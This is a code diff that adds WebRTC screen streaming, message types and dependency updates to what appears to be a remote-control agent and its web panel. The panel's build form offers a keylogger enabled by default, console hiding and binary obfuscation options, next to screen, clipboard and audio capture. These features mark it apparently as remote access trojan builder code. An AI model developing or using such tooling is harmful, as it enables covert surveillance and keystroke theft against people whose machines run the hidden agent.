|
whipMu.Unlock()
|
||||||
|
unregisterWriter(whipWriterID)
|
||||||
|
if p != nil {
|
||||||
|
p.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *Publisher) Close() {
|
||||||
|
p.closeOnce.Do(func() {
|
||||||
|
if p.resourceURL != "" {
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
req, err := http.NewRequestWithContext(ctx, http.MethodDelete, p.resourceURL, nil)
|
||||||
|
if err == nil {
|
||||||
|
if p.token != "" {
|
||||||
|
req.Header.Set("Authorization", "Bearer "+p.token)
|
||||||
|
}
|
||||||
|
if resp, err := p.httpClient.Do(req); err == nil {
|
||||||
|
_ = resp.Body.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = p.pc.Close()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) {
|
||||||
|
req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp))
|
||||||
|
if err != nil {
|
||||||
|
return "", "", fmt.Errorf("build whip request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/sdp")
|
||||||
|
req.Header.Set("Authorization", "Bearer "+token)
|
||||||
|
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", fmt.Errorf("whip post: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
body, _ := io.ReadAll(resp.Body)
|
||||||
|
if resp.StatusCode/100 != 2 {
|
||||||
|
return "", "", fmt.Errorf("whip post: %s: %s", resp.Status, bytes.TrimSpace(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
resource := resp.Header.Get("Location")
|
||||||
|
if resource != "" {
|
||||||
|
if parsed, err := url.Parse(resource); err == nil && !parsed.IsAbs() {
|
||||||
|
base, _ := url.Parse(whipURL)
|
||||||
|
if base != nil {
|
||||||
|
resource = base.ResolveReference(parsed).String()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return string(body), resource, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildHTTPClient(opts Options) *http.Client {
|
||||||
|
tlsCfg := &tls.Config{
|
||||||
|
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
|
||||||
|
MinVersion: tls.VersionTLS12,
|
||||||
|
}
|
||||||
|
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
|
||||||
|
if pem, err := os.ReadFile(path); err == nil {
|
||||||
|
pool := x509.NewCertPool()
|
||||||
|
if pool.AppendCertsFromPEM(pem) {
|
||||||
|
tlsCfg.RootCAs = pool
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return &http.Client{
|
||||||
|
Timeout: 15 * time.Second,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: tlsCfg,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -286,3 +286,17 @@ type DisconnectInfo struct {
|
|||||||
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
|
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
|
||||||
Detail string `msgpack:"detail,omitempty"` // error message
|
Detail string `msgpack:"detail,omitempty"` // error message
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type WebRTCP2PAnswer struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
SessionID string `msgpack:"sessionId"`
|
||||||
|
SDP string `msgpack:"sdp"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type WebRTCP2PIce struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
SessionID string `msgpack:"sessionId"`
|
||||||
|
Candidate string `msgpack:"candidate"`
|
||||||
|
SDPMid string `msgpack:"sdpMid"`
|
||||||
|
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||||
|
}
|
||||||
|
|||||||
@@ -24,7 +24,26 @@ require (
|
|||||||
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
|
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
|
||||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
|
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
|
||||||
github.com/godbus/dbus/v5 v5.1.0 // indirect
|
github.com/godbus/dbus/v5 v5.1.0 // indirect
|
||||||
|
github.com/google/uuid v1.6.0 // indirect
|
||||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||||
|
github.com/pion/datachannel v1.5.10 // indirect
|
||||||
|
github.com/pion/dtls/v3 v3.0.4 // indirect
|
||||||
|
github.com/pion/ice/v4 v4.0.3 // indirect
|
||||||
|
github.com/pion/interceptor v0.1.37 // indirect
|
||||||
|
github.com/pion/logging v0.2.2 // indirect
|
||||||
|
github.com/pion/mdns/v2 v2.0.7 // indirect
|
||||||
|
github.com/pion/randutil v0.1.0 // indirect
|
||||||
|
github.com/pion/rtcp v1.2.15 // indirect
|
||||||
|
github.com/pion/rtp v1.8.10 // indirect
|
||||||
|
github.com/pion/sctp v1.8.35 // indirect
|
||||||
|
github.com/pion/sdp/v3 v3.0.9 // indirect
|
||||||
|
github.com/pion/srtp/v3 v3.0.4 // indirect
|
||||||
|
github.com/pion/stun/v3 v3.0.0 // indirect
|
||||||
|
github.com/pion/transport/v3 v3.0.7 // indirect
|
||||||
|
github.com/pion/turn/v4 v4.0.0 // indirect
|
||||||
|
github.com/pion/webrtc/v4 v4.0.7 // indirect
|
||||||
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
|
||||||
|
github.com/wlynxg/anet v0.0.5 // indirect
|
||||||
|
golang.org/x/net v0.51.0 // indirect
|
||||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -4,6 +4,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
|||||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
|
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
|
||||||
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
|
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
|
||||||
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
|
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
|
||||||
@@ -16,29 +18,77 @@ github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj
|
|||||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
|
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
|
||||||
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
|
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
|
||||||
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||||
|
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||||
|
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||||
github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
||||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
|
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
|
||||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
|
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
|
||||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||||
|
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
|
||||||
|
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
|
||||||
|
github.com/pion/dtls/v3 v3.0.4 h1:44CZekewMzfrn9pmGrj5BNnTMDCFwr+6sLH+cCuLM7U=
|
||||||
|
github.com/pion/dtls/v3 v3.0.4/go.mod h1:R373CsjxWqNPf6MEkfdy3aSe9niZvL/JaKlGeFphtMg=
|
||||||
|
github.com/pion/ice/v4 v4.0.3 h1:9s5rI1WKzF5DRqhJ+Id8bls/8PzM7mau0mj1WZb4IXE=
|
||||||
|
github.com/pion/ice/v4 v4.0.3/go.mod h1:VfHy0beAZ5loDT7BmJ2LtMtC4dbawIkkkejHPRZNB3Y=
|
||||||
|
github.com/pion/interceptor v0.1.37 h1:aRA8Zpab/wE7/c0O3fh1PqY0AJI3fCSEM5lRWJVorwI=
|
||||||
|
github.com/pion/interceptor v0.1.37/go.mod h1:JzxbJ4umVTlZAf+/utHzNesY8tmRkM2lVmkS82TTj8Y=
|
||||||
|
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
|
||||||
|
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
|
||||||
|
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
|
||||||
|
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
|
||||||
|
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
|
||||||
|
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
|
||||||
|
github.com/pion/rtcp v1.2.15 h1:LZQi2JbdipLOj4eBjK4wlVoQWfrZbh3Q6eHtWtJBZBo=
|
||||||
|
github.com/pion/rtcp v1.2.15/go.mod h1:jlGuAjHMEXwMUHK78RgX0UmEJFV4zUKOFHR7OP+D3D0=
|
||||||
|
github.com/pion/rtp v1.8.10 h1:puphjdbjPB+L+NFaVuZ5h6bt1g5q4kFIoI+r5q/g0CU=
|
||||||
|
github.com/pion/rtp v1.8.10/go.mod h1:8uMBJj32Pa1wwx8Fuv/AsFhn8jsgw+3rUC2PfoBZ8p4=
|
||||||
|
github.com/pion/sctp v1.8.35 h1:qwtKvNK1Wc5tHMIYgTDJhfZk7vATGVHhXbUDfHbYwzA=
|
||||||
|
github.com/pion/sctp v1.8.35/go.mod h1:EcXP8zCYVTRy3W9xtOF7wJm1L1aXfKRQzaM33SjQlzg=
|
||||||
|
github.com/pion/sdp/v3 v3.0.9 h1:pX++dCHoHUwq43kuwf3PyJfHlwIj4hXA7Vrifiq0IJY=
|
||||||
|
github.com/pion/sdp/v3 v3.0.9/go.mod h1:B5xmvENq5IXJimIO4zfp6LAe1fD9N+kFv+V/1lOdz8M=
|
||||||
|
github.com/pion/srtp/v3 v3.0.4 h1:2Z6vDVxzrX3UHEgrUyIGM4rRouoC7v+NiF1IHtp9B5M=
|
||||||
|
github.com/pion/srtp/v3 v3.0.4/go.mod h1:1Jx3FwDoxpRaTh1oRV8A/6G1BnFL+QI82eK4ms8EEJQ=
|
||||||
|
github.com/pion/stun/v3 v3.0.0 h1:4h1gwhWLWuZWOJIJR9s2ferRO+W3zA/b6ijOI6mKzUw=
|
||||||
|
github.com/pion/stun/v3 v3.0.0/go.mod h1:HvCN8txt8mwi4FBvS3EmDghW6aQJ24T+y+1TKjB5jyU=
|
||||||
|
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
|
||||||
|
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
|
||||||
|
github.com/pion/turn/v4 v4.0.0 h1:qxplo3Rxa9Yg1xXDxxH8xaqcyGUtbHYw4QSCvmFWvhM=
|
||||||
|
github.com/pion/turn/v4 v4.0.0/go.mod h1:MuPDkm15nYSklKpN8vWJ9W2M0PlyQZqYt1McGuxG7mA=
|
||||||
|
github.com/pion/webrtc/v4 v4.0.7 h1:aeq78uVnFZd2umXW0O9A2VFQYuS7+BZxWetQvSp2jPo=
|
||||||
|
github.com/pion/webrtc/v4 v4.0.7/go.mod h1:oFVBBVSHU3vAEwSgnk3BuKCwAUwpDwQhko1EDwyZWbU=
|
||||||
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0=
|
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0=
|
||||||
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU=
|
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU=
|
||||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||||
|
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||||
|
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||||
|
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
||||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||||
|
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||||
|
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||||
|
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||||
|
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||||
|
github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
|
||||||
github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
|
github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
|
||||||
github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
|
github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
|
||||||
github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
|
github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
|
||||||
github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
|
github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
|
||||||
|
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
|
||||||
|
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
|
||||||
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
||||||
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
||||||
|
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
|
||||||
|
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
|
||||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||||
|
|||||||
@@ -126,6 +126,7 @@ function collectFormSettings() {
|
|||||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||||
|
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||||
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
||||||
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
||||||
@@ -180,6 +181,7 @@ function applyFormSettings(settings) {
|
|||||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||||
|
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||||
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
||||||
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
||||||
@@ -1379,6 +1381,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
disableKeylogger: !enableKeylogger,
|
disableKeylogger: !enableKeylogger,
|
||||||
|
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||||
import { checkFeatureAccess } from "./feature-gate.js";
|
import { checkFeatureAccess } from "./feature-gate.js";
|
||||||
|
import { WhepClient } from "./whep.js";
|
||||||
|
import { P2PClient } from "./webrtc-p2p.js";
|
||||||
|
|
||||||
(async function () {
|
(async function () {
|
||||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||||
@@ -46,6 +48,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
const audioCtrl = document.getElementById("audioCtrl");
|
const audioCtrl = document.getElementById("audioCtrl");
|
||||||
|
const webrtcMode = document.getElementById("webrtcMode");
|
||||||
|
const webrtcVideo = document.getElementById("webrtcVideo");
|
||||||
|
let whepClient = null;
|
||||||
|
let p2pClient = null;
|
||||||
|
let webrtcActive = false;
|
||||||
|
function getWebrtcMode() {
|
||||||
|
return webrtcMode ? String(webrtcMode.value || "off") : "off";
|
||||||
|
}
|
||||||
ws.binaryType = "arraybuffer";
|
ws.binaryType = "arraybuffer";
|
||||||
|
|
||||||
let activeClientId = clientId;
|
let activeClientId = clientId;
|
||||||
@@ -561,6 +571,113 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
ws.send(encodeMsgpack(msg));
|
ws.send(encodeMsgpack(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function setWebrtcViewActive(active) {
|
||||||
|
webrtcActive = !!active;
|
||||||
|
